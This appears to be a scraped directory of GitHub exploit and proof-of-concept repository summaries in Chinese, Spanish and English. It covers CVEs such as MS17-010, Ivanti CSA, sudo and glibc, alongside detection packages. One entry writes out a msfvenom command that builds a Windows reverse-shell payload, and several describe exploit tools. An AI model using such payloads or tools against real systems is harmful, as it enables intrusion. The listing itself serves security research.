MS17-010_CVE-2017-0143

MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker 使用 msfvenom 生成 Payload： root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp：指定 payload（一个针对 Windows 的反向 TCP shell）。 LHOST=10.10.14.4：攻击者的 IP 地址（目标将回连的地址）。...

CVE-2018-25031-test

此存储库没有 README。...

log4shell-rex

Log4Shell-Rex La siguiente RegEx fue escrita en un intento de coincidir con indicadores de una explotación de Log4Shell CVE-2021-44228 y CVE-2021-45046. Si ejecutas una versión anterior a 2021/12/21, se recomienda encarecidamente probar y actualizar. He eliminado algunas peculiaridades y mejorado...

external_sonivox_CVE-2024-23709

此存储库没有 README。...

Firefox-CVE-2016-9079

Firefox RCE CVE-2016-9079 nsSMILTimeContainer 这是 https://www.exploit-db.com/exploits/41151 的手动利用，另一个针对 Windows 10 的利用 https://github.com/soham23/firefox-rce-nssmil 也存在，但在 Windows 8.1 上无法使用，所以我制作了自己的版本。 你需要将第 241 行修改为你自己的 shellcode。在该行上方有一个示例。 下载该仓库，然后启动一个服务器。使用 Python 服务器即可正常工作。 root@kitploit:...

CVE-2024-8190-unauth

CVE-2024-8190 未认证 描述 结合 CVE-2024-8963 和 CVE-2024-8190——针对 Ivanti CSA 4.6 及以下版本的未认证远程代码执行 PoC。 CVE-2024-8963 Ivanti CSA 4.6 Patch 519 之前版本中的路径遍历漏洞，允许远程未认证攻击者访问受限功能。 CVE-2024-8190 Ivanti Cloud Services Appliance 4.6 Patch 518 及之前版本中的 OS 命令注入漏洞，允许远程认证攻击者获得远程代码执行能力。攻击者必须拥有管理员权限才能利用此漏洞。 本 PoC...

CVE-2020-16898

"坏邻居"检测，CVE-2020-16898（Windows TCP/IP RCE） 摘要: 针对 CVE-2020-16898（Windows TCP/IP 远程代码执行漏洞）的网络检测包 参考资料: https://corelight.blog/2020/10/15/zeek-community-activates-to-detect-bad-neighbor-cve-2020-16898/ https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16898ID0EUGAC 由 Zeek...

Valve-Press-CVE-2024-27956-RCE

Valve-Press-CVE-2024-27956-RCE Valve Press - CVE-2024-27956-RCE - SQL注入...

cve-2024-32002-submodule-aw

CVE-2024-32002 Submodule AW Un submódulo para demostrar CVE-2024-32002. Demuestra escritura arbitraria en .git. Vea cve-2024-32002-poc-aw para el POC funcional que utiliza este repositorio. Lo que contiene este repositorio Simplemente, un archivo aleatorio para que podamos detectarlo cuando...

CVE-2025-6554-2

CVE-2025-6554...

text4shell-exploit

Text4shell-exploit Esto es una Prueba de Concepto que explota la vulnerabilidad en Apache Commons Text CVE-2022-42889 Versiones vulnerables: 1.5.0 a sin incluir 1.10.0 Impacto La explotación exitosa de esta vulnerabilidad permite a un atacante no autenticado ejecutar código arbitrario en el activ...

CVE-2024-56882

此存储库没有 README。...

CVE-2024-27956-WORDPRESS-RCE-PLUGIN

CVE-2024-27956-WORDPRESS-RCE-PLUGIN CVE-2024-27956 WORDPRESS RCE PLUGIN Plugin atacado wp-automatic...

CVE-2017-7184

此存储库没有 README。...

CVE-2021-3156-Exp

CVE-2021-3156-Exp CVE-2021-3156 的利用代码。 经过一夜的研究，终于搞定了！ 致谢 https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt...

LooneyPwner

LooneyPwner 针对CVE-2023-4911的利用工具，瞄准各种Linux发行版中的'Looney Tunables' glibc漏洞。 LooneyPwner 是一个针对GNU C库glibc中发现的严重缓冲区溢出漏洞（昵称"Looney Tunables"）的概念验证PoC利用工具。该漏洞官方编号为CVE-2023-4911，存在于各种Linux发行版中，带来重大风险，包括未经授权的数据访问和系统更改。 漏洞背景 上周，GNU...

CVE-2024-5522

英文 一个用于WordPress网站CVE-2024-5522漏洞的PoC利用扫描器。该工具通过扫描目标URL列表并尝试特定载荷来判断目标站点是否存在该漏洞。 功能特性 自动漏洞扫描 ：扫描目标URL是否存在CVE-2024-5522漏洞。 自定义载荷支持 ：使用文件中的载荷进行漏洞检测。 安装 1. 克隆仓库： root@kitploit: git clone https://github.com/geniuszly/CVE-2024-5522 2. 进入目录： root@kitploit: cd CVE-2024-5522 3. 安装所需的Python包： root@kitploit...

CVE-2017-6074-DOS

CVE-2017-6074 - 仅DoS利用 Linux DCCP内核恐慌 此仓库提供了原始CVE-2017-6074漏洞利用（Linux内核DCCP子系统中的释放后使用）的修改版本，专门用于展示拒绝服务（DoS）影响。 经过身份验证的本地用户可以触发内核恐慌 ，导致系统完全不可用。 不尝试也不实现 权限提升。 利用需要本地用户访问权限（例如通过SSH）。 仅用于安全研究、PoC演示和受控测试环境。 参考 CVE-2017-6074 CWE-416: 释放后使用 免责声明 ⚠️ 仅在授权的测试系统上运行此代码。此程序将立即导致内核崩溃。 使用风险自负，本人不对不良使用负责。...

cve-2018-3810

CVE-2018-3810 Esto es parte de Cved: una herramienta para gestionar contenedores docker vulnerables. Cved: https://github.com/git-rep-src/cved Fuente de la imagen: https://github.com/cved-sources/cve-2018-3810 Autor de la imagen: https://github.com/cved-sources/cve-2018-3810...

CVE-2026-89254

creationtimestamp| type| source ---|---|--- 2026-09-11 13:40:11+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mvaowkodiq2f 2026-09-11 14:07:38+00:00| seen| https://bsky.app/profile/stemshop.bsky.social/post/3mvaqhppjbb25...